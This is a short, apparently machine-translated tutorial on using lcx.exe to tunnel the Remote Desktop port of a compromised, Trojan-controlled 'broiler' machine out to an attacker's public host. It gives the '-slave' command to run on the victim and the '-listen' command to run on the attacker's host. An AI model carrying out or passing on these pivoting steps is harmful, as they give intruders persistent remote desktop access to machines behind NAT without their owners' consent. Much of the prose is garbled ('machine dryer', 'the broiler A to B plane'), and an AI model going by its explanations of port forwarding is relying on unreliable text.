Forwarding port (Port forwarding), sometimes called the tunnel, is a Secure Shell (SSH) is a method used in a secure communication network. Port forwarding is forwarding a network port from a network node to another network node behavior, which enables a user outside to be activated through a NAT router reach a port on a private internal IP address (internal LAN) from the outside.
I used here is the tool Lcx, Lcx.exe tool is a port forwarding, forwarding port 3389 is equivalent to the broiler A to B plane having the external IP address so that connection B 3389 A link is equivalent machine dryer 3389 port. Lcx program used for the control computer (broilers) is within a network, the controlled machine may be a Trojan horse program, even though it can be controlled, but still do not use the remote terminal login to the machine for easy management, so in many cases in, We will be trying to turn on the control computer 3389, and then forwarded through the port lcx other procedures, in turn connected to the remote terminal is a local control computer and management and use.
First open Windows xp View IP network information
Performing the public network lcx.exe -slave ip ip port network port on the target machine
, for example:.... Lcx.exe -slave 154.223 * * 51 192.168 * * 3389 3389 forwards the network port to the port 51 of the public network
Then the public network on the machine: Lcx.exe -listen listening port 51, is forwarded to the public network machine 3389
For example: Lcx.exe -listen 51 3389
This time has been 3389 within the network to forward to the 3389 public network machine, we remote public network IP 3389, will now contact the machine within the network of 3389 on the local machine, this time has successfully landed in, we view the IP, can see the target machine.
